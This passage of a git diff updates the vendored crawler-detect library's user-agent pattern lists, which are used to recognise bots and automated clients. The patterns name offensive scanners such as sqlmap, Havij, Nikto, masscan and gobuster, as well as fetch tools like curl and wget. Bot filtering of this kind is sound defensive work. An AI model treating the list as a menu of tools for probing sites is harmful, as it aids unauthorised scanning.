agent","WebsiteQuester","Websnapr","WebSniffer","Webster","WebStripper","WebSucker","webtech\\\/","WebThumbnail","Webthumb\\\/","WebWhacker","WebZIP","WeLikeLinks","WEPA","WeSEE","wf84","Wfuzz\\\/","wget","WhatCMS","WhatsApp","WhatsMyIP","WhatWeb","WhereGoes\\?","Whibse","WhoAPI\\\/","WhoRunsCoinHive","Whynder Magnet","Windows-RSS-Platform","WinHttp-Autoproxy-Service","WinHTTP\\\/","WinPodder","wkhtmlto","wmtips","Woko","Wolfram HTTPClient","woorankreview","WordPress\\\/","WordupinfoSearch","Word\\\/","worldping-api","wotbox","WP Engine Install Performance API","WP Rocket","wpif","wprecon\\.com survey","WPScan","wscheck","Wtrace","WWW-Collector-E","WWW-Mechanize","WWW::Document","WWW::Mechanize","WWWOFFLE","www\\.monitor\\.us","x09Mozilla","x22Mozilla","XaxisSemanticsClassifier","XenForo\\\/","Xenu Link Sleuth","XING-contenttabreceiver","xpymep([0-9]?)\\.exe","Y!J-[A-Z][A-Z][A-Z]","Yaanb","yacy","Yahoo Link Preview","YahooCacheSystem","YahooMailProxy","YahooYSMcm","YandeG","Yandex(?!Search)","yanga","yeti","Yo-yo","Yoleo Consumer","yomins\\.com","yoogliFetchAgent","YottaaMonitor","Your-Website-Sucks","yourls\\.org","YoYs\\.net","YP\\.PL","Zabbix","Zade","Zao","Zauba","Zemanta Aggregator","Zend\\\\Http\\\\Client","Zend_Http_Client","Zermelo","Zeus ","zgrab","ZnajdzFoto","ZnHTTP","Zombie\\.js","Zoom\\.Mac","ZoteroTranslationServer","ZyBorg","[a-z0-9\\-_]*(bot|crawl|archiver|transcoder|spider|uptime|validator|fetcher|cron|checker|reader|extractor|monitoring|analyzer|scraper)"] \ No newline at end of file +[" YLT","^Aether","^Amazon Simple Notification Service Agent$","^Amazon-Route53-Health-Check-Service","^Amazon CloudFront","^b0t$","^bluefish ","^Calypso v\\\/","^COMODO DCV","^Corax","^DangDang","^DavClnt","^DHSH","^docker\\\/[0-9]","^Expanse","^FDM ","^git\\\/","^Goose\\\/","^Grabber","^Gradle\\\/","^HTTPClient\\\/","^HTTPing","^Java\\\/","^Jeode\\\/","^Jetty\\\/","^Mail\\\/","^Mget","^Microsoft URL Control","^Mikrotik\\\/","^Netlab360","^NG\\\/[0-9\\.]","^NING\\\/","^npm\\\/","^Nuclei","^PHP-AYMAPI\\\/","^PHP\\\/","^pip\\\/","^pnpm\\\/","^RMA\\\/","^Ruby|Ruby\\\/[0-9]","^Swurl ","^TLS tester ","^twine\\\/","^ureq","^VSE\\\/[0-9]","^WordPress\\.com","^XRL\\\/[0-9]","^ZmEu","008\\\/","13TABS","192\\.comAgent","2GDPR\\\/","2ip\\.ru","404enemy","7Siters","80legs","a3logics\\.in","A6-Indexer","Abonti","Aboundex","aboutthedomain","Accoona-AI-Agent","acebookexternalhit\\\/","acoon","acrylicapps\\.com\\\/pulp","Acunetix","AdAuth\\\/","adbeat","AddThis","ADmantX","AdminLabs","adressendeutschland","adreview\\\/","adscanner","adstxt-worker","Adstxtaggregator","adstxt\\.com","Adyen HttpClient","AffiliateLabz\\\/","affilimate-puppeteer","agentslug","AHC","aihit","aiohttp\\\/","Airmail","akka-http\\\/","akula\\\/","alertra","alexa site audit","Alibaba\\.Security\\.Heimdall","Alligator","allloadin","AllSubmitter","alyze\\.info","amagit","Anarchie","AndroidDownloadManager","Anemone","AngleSharp","annotate_google","Anthill","Anturis Agent","Ant\\.com","AnyEvent-HTTP\\\/","Apache Ant\\\/","Apache Droid","Apache OpenOffice","Apache-HttpAsyncClient","Apache-HttpClient","ApacheBench","Apexoo","apimon\\.de","APIs-Google","AportWorm\\\/","AppBeat\\\/","AppEngine-Google","AppleSyndication","Aprc\\\/[0-9]","Arachmo","arachnode","Arachnophilia","aria2","Arukereso","asafaweb","Asana\\\/","Ask Jeeves","AskQuickly","ASPSeek","Asterias","Astute","asynchttp","Attach","attohttpc","autocite","AutomaticWPTester","Autonomy","awin\\.com","AWS Security Scanner","axios\\\/","a\\.pr-cy\\.ru","B-l-i-t-z-B-O-T","Backlink-Ceck","BacklinkHttpStatus","BackStreet","BackupLand","BackWeb","Bad-Neighborhood","Badass","baidu\\.com","Bandit","basicstate","BatchFTP","Battleztar Bazinga","baypup\\\/","BazQux","BBBike","BCKLINKS","BDFetch","BegunAdvertising","Bewica-security-scan","Bidtellect","BigBozz","Bigfoot","biglotron","BingLocalSearch","BingPreview","binlar","biNu image cacher","Bitacle","Bitrix link preview","biz_Directory","BKCTwitterUnshortener\\\/","Black Hole","Blackboard Safeassign","BlackWidow","BlockNote\\.Net","BlogBridge","Bloglines","Bloglovin","BlogPulseLive","BlogSearch","Blogtrottr","BlowFish","boitho\\.com-dc","Boost\\.Beast","BPImageWalker","Braintree-Webhooks","Branch Metrics API","Branch-Passthrough","Brandprotect","Brandwatch","Brodie\\\/","Browsershots","BUbiNG","Buck\\\/","Buddy","BuiltWith","Bullseye","BunnySlippers","Burf Search","Butterfly\\\/","BuzzSumo","CAAM\\\/[0-9]","CakePHP","Calculon","Canary%20Mail","CaretNail","catexplorador","CC Metadata Scaper","Cegbfeieh","censys","centuryb.o.t9[at]gmail.com","Cerberian Drtrs","CERT\\.at-Statistics-Survey","cf-facebook","cg-eye","changedetection","ChangesMeter","Charlotte","chatterino-api-cache","CheckHost","checkprivacy","CherryPicker","ChinaClaw","Chirp\\\/","chkme\\.com","Chlooe","Chromaxa","CirrusExplorer","CISPA Vulnerability Notification","CISPA Web Analyser","Citoid","CJNetworkQuality","Clarsentia","clips\\.ua\\.ac\\.be","Cloud mapping","CloudEndure","CloudFlare-AlwaysOnline","Cloudflare-Healthchecks","Cloudinary","cmcm\\.com","coccoc","cognitiveseo","ColdFusion","colly -","CommaFeed","Commons-HttpClient","commonscan","contactbigdatafr","contentkingapp","Contextual Code Sites Explorer","convera","CookieReports","copyright sheriff","CopyRightCheck","Copyscape","cortex\\\/","Cosmos4j\\.feedback","Covario-IDS","Craw\\\/","Crescent","Criteo","Crowsnest","CSHttp","CSSCheck","Cula\\\/","curb","Curious George","curl","cuwhois\\\/","cybo\\.com","DAP\\\/NetHTTP","DareBoost","DatabaseDriverMysqli","DataCha0s","DatadogSynthetics","Datafeedwatch","Datanyze","DataparkSearch","dataprovider","DataXu","Daum(oa)?[ \\\/][0-9]","dBpoweramp","ddline","deeris","delve\\.ai","Demon","DeuSu","developers\\.google\\.com\\\/\\+\\\/web\\\/snippet\\\/","Devil","Digg","Digincore","DigitalPebble","Dirbuster","Discourse Forum Onebox","Dispatch\\\/","Disqus\\\/","DittoSpyder","dlvr","DMBrowser","DNSPod-reporting","docoloc","Dolphin http client","DomainAppender","DomainLabz","Domains Project\\\/","Donuts Content Explorer","dotMailer content retrieval","dotSemantic","downforeveryoneorjustme","Download Wonder","downnotifier","DowntimeDetector","Drip","drupact","Drupal \\(\\+http:\\\/\\\/drupal\\.org\\\/\\)","DTS Agent","dubaiindex","DuplexWeb-Google","DynatraceSynthetic","EARTHCOM","Easy-Thumb","EasyDL","Ebingbong","ec2linkfinder","eCairn-Grabber","eCatch","ECCP","eContext\\\/","Ecxi","EirGrabber","ElectricMonk","elefent","EMail Exractor","EMail Wolf","EmailWolf","Embarcadero","Embed PHP Library","Embedly","endo\\\/","europarchive\\.org","evc-batch","EventMachine HttpClient","Everwall Link Expander","Evidon","Evrinid","ExactSearch","ExaleadCloudview","Excel\\\/","exif","ExoRank","Exploratodo","Express WebPictures","Extreme Picture Finder","EyeNetIE","ezooms","facebookcatalog","facebookexternalhit","facebookexternalua","facebookplatform","fairshare","Faraday v","fasthttp","Faveeo","Favicon downloader","faviconarchive","faviconkit","FavOrg","Feed Wrangler","Feedable\\\/","Feedbin","FeedBooster","FeedBucket","FeedBunch\\\/","FeedBurner","feeder","Feedly","FeedshowOnline","Feedshow\\\/","Feedspot","FeedViewer\\\/","Feedwind\\\/","FeedZcollector","feeltiptop","Fetch API","Fetch\\\/[0-9]","Fever\\\/[0-9]","FHscan","Fiery%20Feeds","Filestack","Fimap","findlink","findthatfile","FlashGet","FlipboardBrowserProxy","FlipboardProxy","FlipboardRSS","Flock\\\/","Florienzh\\\/","fluffy","Flunky","flynxapp","forensiq","ForusP","FoundSeoTool","fragFINN\\.de","free thumbnails","Freeuploader","FreshRSS","frontman","Funnelback","Fuzz Faster U Fool","G-i-g-a-b-o-t","g00g1e\\.net","ganarvisitas","gdnplus\\.com","GeedoProductSearch","geek-tools","Genieo","GentleSource","GetCode","Getintent","GetLinkInfo","getprismatic","GetRight","getroot","GetURLInfo\\\/","GetWeb","Geziyor","Ghost Inspector","GigablastOpenSource","GIS-LABS","github-camo","GitHub-Hookshot","github\\.com","Go http package","Go [\\d\\.]* package http","Go!Zilla","Go-Ahead-Got-It","Go-http-client","go-mtasts\\\/","gobuster","gobyus","Gofeed","gofetch","Goldfire Server","GomezAgent","gooblog","Goodzer\\\/","Google AppsViewer","Google Desktop","Google favicon","Google Keyword Suggestion","Google Keyword Tool","Google Page Speed Insights","Google PP Default","Google Search Console","Google Web Preview","Google-Ads","Google-Adwords","Google-Apps-Script","Google-Calendar-Importer","Google-HotelAdsVerifier","Google-HTTP-Java-Client","Google-InspectionTool","Google-Podcast","Google-Publisher-Plugin","Google-Read-Aloud","Google-SearchByImage","Google-Site-Verification","Google-SMTP-STS","Google-speakr","Google-Structured-Data-Testing-Tool","Google-Transparency-Report","google-xrawler","Google-Youtube-Links","GoogleDocs","GoogleHC\\\/","GoogleOther","GoogleProber","GoogleProducer","GoogleSites","Gookey","GoSpotCheck","gosquared-thumbnailer","Gotit","GoZilla","grabify","GrabNet","Grafula","Grammarly","GrapeFX","GreatNews","Gregarius","GRequests","grokkit","grouphigh","grub-client","gSOAP\\\/","GT::WWW","GTmetrix","GuzzleHttp","gvfs\\\/","HAA(A)?RTLAND http client","Haansoft","hackney\\\/","Hadi Agent","HappyApps-WebCheck","Hardenize","Hatena","Havij","HaxerMen","HeadlessChrome","HEADMasterSEO","HeartRails_Capture","help@dataminr\\.com","heritrix","Hexometer","historious","hkedcity","hledejLevne\\.cz","Hloader","HMView","Holmes","HonesoSearchEngine","HootSuite Image proxy","Hootsuite-WebFeed","hosterstats","HostTracker","ht:\\\/\\\/check","htdig","HTMLparser","htmlyse","HTTP Banner Detection","http-get","HTTP-Header-Abfrage","http-kit","http-request\\\/","HTTP-Tiny","HTTP::Lite","http:\\\/\\\/www.neomo.de\\\/","HttpComponents","httphr","HTTPie","HTTPMon","httpRequest","httpscheck","httpssites_power","httpunit","HttpUrlConnection","http\\.rb\\\/","HTTP_Compression_Test","http_get","http_request2","http_requester","httrack","huaweisymantec","HubSpot ","HubSpot-Link-Resolver","Humanlinks","i2kconnect\\\/","Iblog","ichiro","Id-search","IdeelaborPlagiaat","IDG Twitter Links Resolver","IDwhois\\\/","Iframely","igdeSpyder","iGooglePortal","IlTrovatore","Image Fetch","Image Sucker","ImageEngine\\\/","ImageVisu\\\/","Imagga","imagineeasy","imgsizer","InAGist","inbound\\.li parser","InDesign%20CC","Indy Library","InetURL","infegy","infohelfer","InfoTekies","InfoWizards Reciprocal Link","inpwrd\\.com","instabid","Instapaper","Integrity","integromedb","Intelliseek","InterGET","Internet Ninja","InternetSeer","internetVista monitor","internetwache","internet_archive","intraVnews","IODC","IOI","Inboxb0t","iplabel","ips-agent","IPS\\\/[0-9]","IPWorks HTTP\\\/S Component","iqdb\\\/","Iria","Irokez","isitup\\.org","iskanie","isUp\\.li","iThemes Sync\\\/","IZaBEE","iZSearch","JAHHO","janforman","Jaunt\\\/","Java.*outbrain","javelin\\.io","Jbrofuzz","Jersey\\\/","JetCar","Jigsaw","Jobboerse","JobFeed discovery","Jobg8 URL Monitor","jobo","Jobrapido","Jobsearch1\\.5","JoinVision Generic","JolokiaPwn","Joomla","Jorgee","JS-Kit","JungleKeyThumbnail","JustView","Kaspersky Lab CFR link resolver","Kelny\\\/","Kerrigan\\\/","KeyCDN","Keyword Density","Keywords Research","khttp\\\/","KickFire","KimonoLabs\\\/","Kml-Google","knows\\.is","KOCMOHABT","kouio","kube-probe","kubectl","kulturarw3","KumKie","Larbin","Lavf\\\/","leakix\\.net","LeechFTP","LeechGet","letsencrypt","Lftp","LibVLC","LibWeb","Libwhisker","libwww","Licorne","Liferea\\\/","Lighthouse","Lightspeedsystems","Likse","limber\\.io","Link Valet","LinkAlarm\\\/","LinkAnalyser","link-check","linkCheck","linkdex","LinkExaminer","linkfluence","linkpeek","LinkPreview","LinkScan","LinksManager","LinkTiger","LinkWalker","link_thumbnailer","Lipperhey","Litemage_walker","livedoor ScreenShot","LoadImpactRload","localsearch-web","LongURL API","longurl-r-package","looid\\.com","looksystems\\.net","lscache_runner","ltx71","lua-resty-http","Lucee \\(CFML Engine\\)","Lush Http Client","lwp-request","lwp-trivial","LWP::Simple","lycos","LYT\\.SR","L\\.webis","mabontland","MacOutlook\\\/","Mag-Net","MagpieRSS","Mail::STS","MailChimp","Mail\\.Ru","Majestic12","makecontact\\\/","Mandrill","MapperCmd","marketinggrader","MarkMonitor","MarkWatch","Mass Downloader","masscan\\\/","Mata Hari","mattermost","Mediametric","Mediapartners-Google","mediawords","MegaIndex\\.ru","MeltwaterNews","Melvil Rawi","MemGator","Metaspinner","MetaURI","MFC_Tear_Sample","Microsearch","Microsoft Data Access","Microsoft Office","Microsoft Outlook","Microsoft Windows Network Diagnostics","Microsoft-WebDAV-MiniRedir","Microsoft\\.Data\\.Mashup","MicrosoftPreview","MIDown tool","MIIxpc","Mindjet","Miniature\\.io","Miniflux","mio_httpc","Miro-HttpClient","Mister PiX","mixdata dot com","mixed-content-scan","mixnode","Mnogosearch","mogimogi","Mojeek","Mojolicious \\(Perl\\)","Mollie","monitis","Monitority\\\/","Monit\\\/","montastic","MonTools","Moreover","Morfeus Fucking Scanner","Morning Paper","MovableType","mowser","Mrcgiguy","Mr\\.4x3 Powered","MS Web Services Client Protocol","MSFrontPage","mShots","MuckRack\\\/","muhstik-scan","MVAClient","MxToolbox\\\/","myseosnapshot","nagios","Najdi\\.si","Name Intelligence","NameFo\\.com","Nameprotect","nationalarchives","Navroad","nbertaupete95","NearSite","Needle","Nessus","Net Vampire","NetAnts","NETCRAFT","NetLyzer","NetMechanic","NetNewsWire","Netpursual","netresearch","NetShelter ContentScan","Netsparker","NetSystemsResearch","nettle","NetTrack","Netvibes","NetZIP","Neustar WPM","NeutrinoAPI","NewRelicPinger","NewsBlur .*Finder","NewsGator","newsme","newspaper\\\/","Nexgate Ruby Client","NG-Search","nghttp2","Nibbler","NICErsPRO","NihilScio","Nikto","nineconnections","NLNZ_IAHarvester","Nmap Scripting Engine","node-fetch","node-superagent","node-urllib","Nodemeter","NodePing","node\\.io","nominet\\.org\\.uk","nominet\\.uk","Norton-Safeweb","Notifixious","notifyninja","NotionEmbedder","nuhk","nutch","Nuzzel","nWormFeedFinder","nyawc\\\/","Nymesis","NYU","Observatory\\\/","Ocelli\\\/","Octopus","oegp","Offline Explorer","Offline Navigator","OgScrper","okhttp","omgili","OMSC","Online Domain Tools","Open Source RSS","OpenCalaisSemanticProxy","Openfind","OpenLinkProfiler","Openstat\\\/","OpenVAS","OPPO A33","Optimizer","Orbiter","OrgProbe\\\/","orion-semantics","Outlook-Express","Outlook-iOS","Owler","Owlin","ownCloud News","ow\\.ly","OxfordCloudService","page scorer","Page Valet","page2rss","PageFreezer","PageGrabber","PagePeeker","PageScorer","Pagespeed\\\/","PageThing","page_verifier","Panopta","panscient","Papa Foto","parsijoo","Pavuk","PayPal IPN","pcBrowser","Pcore-HTTP","PDF24 URL To PDF","Pearltrees","PECL::HTTP","peerindex","Peew","PeoplePal","Perlu -","PhantomJS Screenshoter","PhantomJS\\\/","Photon\\\/","php-requests","phpservermon","Pi-Monster","Picscout","Picsearch","PictureFinder","Pimonster","Pingability","PingAdmin\\.Ru","Pingdom","Pingoscope","PingSpot","ping\\.blo\\.gs","pinterest\\.com","Pixray","Pizilla","Plagger\\\/","Pleroma ","Ploetz \\+ Zeller","Plukkie","plumanalytics","PocketImageCache","PocketParser","Pockey","PodcastAddict\\\/","POE-Component-Client-HTTP","Polymail\\\/","Pompos","Porkbun","Port Monitor","postano","postfix-mta-sts-resolver","PostmanRuntime","postplanner\\.com","PostPost","postrank","PowerPoint\\\/","Prebid","Prerender","Priceonomics Analysis Engine","PrintFriendly","PritTorrent","Prlog","probely\\.com","probethenet","Project ?25499","Project-Resonance","prospectb2b","Protopage","ProWebWalker","proximic","PRTG Network Monitor","pshtt, https scanning","PTST ","PTST\\\/[0-9]+","pulsetic\\.com","Pump","Python-httplib2","python-httpx","python-requests","Python-urllib","Qirina Hurdler","QQDownload","QrafterPro","Qseero","Qualidator","QueryN Metasearch","queuedriver","quic-go-HTTP\\\/","QuiteRSS","Quora Link Preview","Qwantify","Radian6","RadioPublicImageResizer","Railgun\\\/","RankActive","RankFlex","RankSonicSiteAuditor","RapidLoad\\\/","Re-re Studio","ReactorNetty","Readability","RealDownload","RealPlayer%20Downloader","RebelMouse","Recorder","RecurPost\\\/","redback\\\/","ReederForMac","Reeder\\\/","ReGet","RepoMonkey","request\\.js","reqwest\\\/","ResponseCodeTest","RestSharp","Riddler","Rival IQ","Robosourcer","Robozilla","ROI Hunter","RPT-HTTPClient","RSSMix\\\/","RSSOwl","RuxitSynthetic","RyowlEngine","safe-agent-scanner","SalesIntelligent","Saleslift","SAP NetWeaver Application Server","SauceNAO","SBIder","sc-downloader","scalaj-http","Scamadviser-Frontend","ScanAlert","scan\\.lol","Scoop","scooter","ScopeContentAG-HTTP-Client","ScoutJet","ScoutURLMonitor","ScrapeBox Page Scanner","Scrapy","Screaming","ScreenShotService","Scrubby","Scrutiny\\\/","Search37","searchenginepromotionhelp","Searchestate","SearchExpress","SearchSight","SearchWP","search\\.thunderstone","Seeker","semanticdiscovery","semanticjuice","Semiocast HTTP client","Semrush","Sendsay\\.Ru","sentry\\\/","SEO Browser","Seo Servis","seo-nastroj\\.cz","seo4ajax","Seobility","SEOCentro","SeoCheck","seocompany","SEOkicks","SEOlizer","Seomoz","SEOprofiler","seoscanners","SEOsearch","seositecheckup","SEOstats","servernfo","sexsearcher","Seznam","Shelob","Shodan","Shoppimon","ShopWiki","ShortLinkTranslate","shortURL lengthener","shrinktheweb","Sideqik","Siege","SimplePie","SimplyFast","Siphon","SISTRIX","Site Sucker","Site-Shot\\\/","Site24x7","SiteBar","Sitebeam","Sitebulb\\\/","SiteCondor","SiteExplorer","SiteGuardian","Siteimprove","SiteIndexed","Sitemap(s)? Generator","SitemapGenerator","SiteMonitor","Siteshooter B0t","SiteSnagger","SiteSucker","SiteTruth","Sitevigil","sitexy\\.com","SkypeUriPreview","Slack\\\/","sli-systems\\.com","slider\\.com","slurp","SlySearch","SmartDownload","SMRF URL Expander","SMUrlExpander","Snake","Snappy","SnapSearch","Snarfer\\\/","SniffRSS","sniptracker","Snoopy","SnowHaze Search","sogou web","SortSite","Sottopop","sovereign\\.ai","SpaceBison","SpamExperts","Spammen","Spanner","Spawning-AI","spaziodati","SPDYCheck","Specificfeeds","SpeedKit","speedy","SPEng","Spinn3r","spray-can","Sprinklr ","spyonweb","sqlmap","Sqlworm","Sqworm","SSL Labs","ssl-tools","StackRambler","Statastico\\\/","Statically-","StatusCake","Steeler","Stratagems Kumo","Stripe\\\/","Stroke\\.cz","StudioFACA","StumbleUpon","suchen","Sucuri","summify","SuperHTTP","Surphace Scout","Suzuran","swcd ","Symfony BrowserKit","Symfony2 BrowserKit","Synapse\\\/","Syndirella\\\/","SynHttpClient-Built","Sysomos","sysscan","Szukacz","T0PHackTeam","tAkeOut","Tarantula\\\/","Taringa UGC","TarmotGezgin","tchelebi\\.io","techiaith\\.cymru","Teleport","Telesoft","Telesphoreo","Telesphorep","Tenon\\.io","teoma","terrainformatica","Test Certificate Info","testuri","Tetrahedron","TextRazor Downloader","The Drop Reaper","The Expert HTML Source Viewer","The Intraformant","The Knowledge AI","theinternetrules","TheNomad","Thinklab","Thumbor","Thumbshots","ThumbSniper","timewe\\.net","TinEye","Tiny Tiny RSS","TLSProbe\\\/","Toata","topster","touche\\.com","Traackr\\.com","tracemyfile","Trackuity","TrapitAgent","Trendiction","Trendsmap","trendspottr","truwoGPS","TryJsoup","TulipChain","Turingos","Turnitin","tweetedtimes","Tweetminster","Tweezler\\\/","twibble","Twice","Twikle","Twingly","Twisted PageGetter","Typhoeus","ubermetrics-technologies","uclassify","UdmSearch","ultimate_sitemap_parser","unchaos","unirest-java","UniversalFeedParser","unshortenit","Unshorten\\.It","Untiny","UnwindFetchor","updated","updown\\.io daemon","Upflow","Uptimia","URL Verifier","Urlcheckr","URLitor","urlresolver","Urlstat","URLTester","UrlTrends Ranking Updater","URLy Warning","URLy\\.Warning","URL\\\/Emacs","Vacuum","Vagabondo","VB Project","vBSEO","VCI","Verity","via ggpht\\.com GoogleImageProxy","Virusdie","visionutils","Visual Rights Group","vkShare","VoidEYE","Voil","voltron","voyager\\\/","VSAgent\\\/","VSB-TUO\\\/","Vulnbusters Meter","VYU2","w3af\\.org","W3C-checklink","W3C-mobileOK","W3C_Unicorn","WAC-OFU","WakeletLinkExpander","WallpapersHD","Wallpapers\\\/[0-9]+","wangling","Wappalyzer","WatchMouse","WbSrch\\\/","WDT\\.io","Web Auto","Web Collage","Web Enhancer","Web Fetch","Web Fuck","Web Pix","Web Sauger","Web spyder","Web Sucker","web-capture\\.net","Web-sniffer","Webalta","Webauskunft","WebAuto","WebCapture","WebClient\\\/","webcollage","WebCookies","WebCopier","WebCorp","WebDataStats","WebDoc","WebEnhancer","WebFetch","WebFuck","WebGazer","WebGo IS","WebImageCollector","WebImages","WebIndex","webkit2png","WebLeacher","webmastercoffee","webmon ","WebPix","WebReaper","WebSauger","webscreenie","Webshag","Webshot","Website Quester","websitepulse agent","WebsiteQuester","Websnapr","WebSniffer","Webster","WebStripper","WebSucker","webtech\\\/","WebThumbnail","Webthumb\\\/","WebWhacker","WebZIP","WeLikeLinks","WEPA","WeSEE","wf84","Wfuzz\\\/","wget","WhatCMS","WhatsApp","WhatsMyIP","WhatWeb","WhereGoes\\?","Whibse","WhoAPI\\\/","WhoRunsCoinHive","Whynder Magnet","Windows-RSS-Platform","WinHttp-Autoproxy-Service","WinHTTP\\\/","WinPodder","wkhtmlto","wmtips","Woko","Wolfram HTTPClient","woorankreview","WordPress\\\/","WordupinfoSearch","Word\\\/","worldping-api","wotbox","WP Engine Install Performance API","WP Rocket","wpif","wprecon\\.com survey","WPScan","wscheck","Wtrace","WWW-Collector-E","WWW-Mechanize","WWW::Document","WWW::Mechanize","WWWOFFLE","www\\.monitor\\.us","x09Mozilla","x22Mozilla","XaxisSemanticsClassifier","XenForo\\\/","Xenu Link Sleuth","XING-contenttabreceiver","xpymep([0-9]?)\\.exe","Y!J-[A-Z][A-Z][A-Z]","Yaanb","yacy","Yahoo Link Preview","YahooCacheSystem","YahooMailProxy","YahooYSMcm","YandeG","Yandex(?!Search)","yanga","yeti","Yo-yo","Yoleo Consumer","yomins\\.com","yoogliFetchAgent","YottaaMonitor","Your-Website-Sucks","yourls\\.org","YoYs\\.net","YP\\.PL","Zabbix","Zade","Zao","Zapier","Zauba","Zemanta Aggregator","Zend\\\\Http\\\\Client","Zend_Http_Client","Zermelo","Zeus ","zgrab","ZnajdzFoto","ZnHTTP","Zombie\\.js","Zoom\\.Mac","ZoteroTranslationServer","ZyBorg","[a-z0-9\\-_]*(bot|crawl|archiver|transcoder|spider|uptime|validator|fetcher|cron|checker|reader|extractor|monitoring|analyzer|scraper)"] \ No newline at end of file diff --git a/vendor/jaybizzle/crawler-detect/raw/Crawlers.txt b/vendor/jaybizzle/crawler-detect/raw/Crawlers.txt index c84bd31e..89d586c8 100644 --- a/vendor/jaybizzle/crawler-detect/raw/Crawlers.txt +++ b/vendor/jaybizzle/crawler-detect/raw/Crawlers.txt @@ -2,6 +2,7 @@ ^Aether ^Amazon Simple Notification Service Agent$ ^Amazon-Route53-Health-Check-Service +^Amazon CloudFront ^b0t$ ^bluefish ^Calypso v\/ @@ -139,7 +140,6 @@ axios\/ a\.pr-cy\.ru B-l-i-t-z-B-O-T Backlink-Ceck -backlink-check BacklinkHttpStatus BackStreet BackupLand @@ -188,7 +188,6 @@ Braintree-Webhooks Branch Metrics API Branch-Passthrough Brandprotect -BrandVerity Brandwatch Brodie\/ Browsershots @@ -218,6 +217,7 @@ cg-eye changedetection ChangesMeter Charlotte +chatterino-api-cache CheckHost checkprivacy CherryPicker @@ -273,6 +273,7 @@ DAP\/NetHTTP DareBoost DatabaseDriverMysqli DataCha0s +DatadogSynthetics Datafeedwatch Datanyze DataparkSearch @@ -353,6 +354,7 @@ Express WebPictures Extreme Picture Finder EyeNetIE ezooms +facebookcatalog facebookexternalhit facebookexternalua facebookplatform @@ -399,16 +401,20 @@ fluffy Flunky flynxapp forensiq +ForusP FoundSeoTool +fragFINN\.de free thumbnails Freeuploader FreshRSS +frontman Funnelback Fuzz Faster U Fool G-i-g-a-b-o-t g00g1e\.net ganarvisitas gdnplus\.com +GeedoProductSearch geek-tools Genieo GentleSource @@ -433,6 +439,7 @@ Go!Zilla Go-Ahead-Got-It Go-http-client go-mtasts\/ +gobuster gobyus Gofeed gofetch @@ -449,13 +456,13 @@ Google Page Speed Insights Google PP Default Google Search Console Google Web Preview -Google-Ads-Creatives-Assistant -Google-Ads-Overview +Google-Ads Google-Adwords Google-Apps-Script Google-Calendar-Importer Google-HotelAdsVerifier Google-HTTP-Java-Client +Google-InspectionTool Google-Podcast Google-Publisher-Plugin Google-Read-Aloud @@ -469,6 +476,7 @@ google-xrawler Google-Youtube-Links GoogleDocs GoogleHC\/ +GoogleOther GoogleProber GoogleProducer GoogleSites @@ -592,6 +600,7 @@ internet_archive intraVnews IODC IOI +Inboxb0t iplabel ips-agent IPS\/[0-9] @@ -664,6 +673,7 @@ limber\.io Link Valet LinkAlarm\/ LinkAnalyser +link-check linkCheck linkdex LinkExaminer @@ -684,6 +694,7 @@ LongURL API longurl-r-package looid\.com looksystems\.net +lscache_runner ltx71 lua-resty-http Lucee \(CFML Engine\) @@ -729,6 +740,7 @@ Microsoft Outlook Microsoft Windows Network Diagnostics Microsoft-WebDAV-MiniRedir Microsoft\.Data\.Mashup +MicrosoftPreview MIDown tool MIIxpc Mindjet @@ -744,6 +756,7 @@ Mnogosearch mogimogi Mojeek Mojolicious \(Perl\) +Mollie monitis Monitority\/ Monit\/ @@ -771,6 +784,7 @@ NameFo\.com Nameprotect nationalarchives Navroad +nbertaupete95 NearSite Needle Nessus @@ -925,6 +939,7 @@ Priceonomics Analysis Engine PrintFriendly PritTorrent Prlog +probely\.com probethenet Project ?25499 Project-Resonance @@ -936,6 +951,7 @@ PRTG Network Monitor pshtt, https scanning PTST PTST\/[0-9]+ +pulsetic\.com Pump Python-httplib2 python-httpx @@ -984,6 +1000,7 @@ ROI Hunter RPT-HTTPClient RSSMix\/ RSSOwl +RuxitSynthetic RyowlEngine safe-agent-scanner SalesIntelligent @@ -1028,6 +1045,7 @@ seo4ajax Seobility SEOCentro SeoCheck +seocompany SEOkicks SEOlizer Seomoz @@ -1097,9 +1115,11 @@ SpaceBison SpamExperts Spammen Spanner +Spawning-AI spaziodati SPDYCheck Specificfeeds +SpeedKit speedy SPEng Spinn3r @@ -1222,9 +1242,11 @@ Vagabondo VB Project vBSEO VCI +Verity via ggpht\.com GoogleImageProxy Virusdie visionutils +Visual Rights Group vkShare VoidEYE Voil @@ -1372,6 +1394,7 @@ YP\.PL Zabbix Zade Zao +Zapier Zauba Zemanta Aggregator Zend\\Http\\Client diff --git a/vendor/jaybizzle/crawler-detect/raw/Exclusions.json b/vendor/jaybizzle/crawler-detect/raw/Exclusions.json index 2f347bbc..bf4128b5 100644 --- a/vendor/jaybizzle/crawler-detect/raw/Exclusions.json +++ b/vendor/jaybizzle/crawler-detect/raw/Exclusions.json @@ -1 +1 @@ -["Safari.[\\d\\.]*","Firefox.[\\d\\.]*"," Chrome.[\\d\\.]*","Chromium.[\\d\\.]*","MSIE.[\\d\\.]","Opera\\\/[\\d\\.]*","Mozilla.[\\d\\.]*","AppleWebKit.[\\d\\.]*","Trident.[\\d\\.]*","Windows NT.[\\d\\.]*","Android [\\d\\.]*","Macintosh.","Ubuntu","Linux","[ ]Intel","Mac OS X [\\d_]*","(like )?Gecko(.[\\d\\.]*)?","KHTML,","CriOS.[\\d\\.]*","CPU iPhone OS ([0-9_])* like Mac OS X","CPU OS ([0-9_])* like Mac OS X","iPod","compatible","x86_..","i686","x64","X11","rv:[\\d\\.]*","Version.[\\d\\.]*","WOW64","Win64","Dalvik.[\\d\\.]*"," \\.NET CLR [\\d\\.]*","Presto.[\\d\\.]*","Media Center PC","BlackBerry","Build","Opera Mini\\\/\\d{1,2}\\.\\d{1,2}\\.[\\d\\.]*\\\/\\d{1,2}\\.","Opera"," \\.NET[\\d\\.]*","cubot","; M bot","; CRONO","; B bot","; IDbot","; ID bot","; POWER BOT","OCTOPUS-CORE"] \ No newline at end of file +["Safari.[\\d\\.]*","Firefox.[\\d\\.]*"," Chrome.[\\d\\.]*","Chromium.[\\d\\.]*","MSIE.[\\d\\.]","Opera\\\/[\\d\\.]*","Mozilla.[\\d\\.]*","AppleWebKit.[\\d\\.]*","Trident.[\\d\\.]*","Windows NT.[\\d\\.]*","Android [\\d\\.]*","Macintosh.","Ubuntu","Linux","[ ]Intel","Mac OS X [\\d_]*","(like )?Gecko(.[\\d\\.]*)?","KHTML,","CriOS.[\\d\\.]*","CPU iPhone OS ([0-9_])* like Mac OS X","CPU OS ([0-9_])* like Mac OS 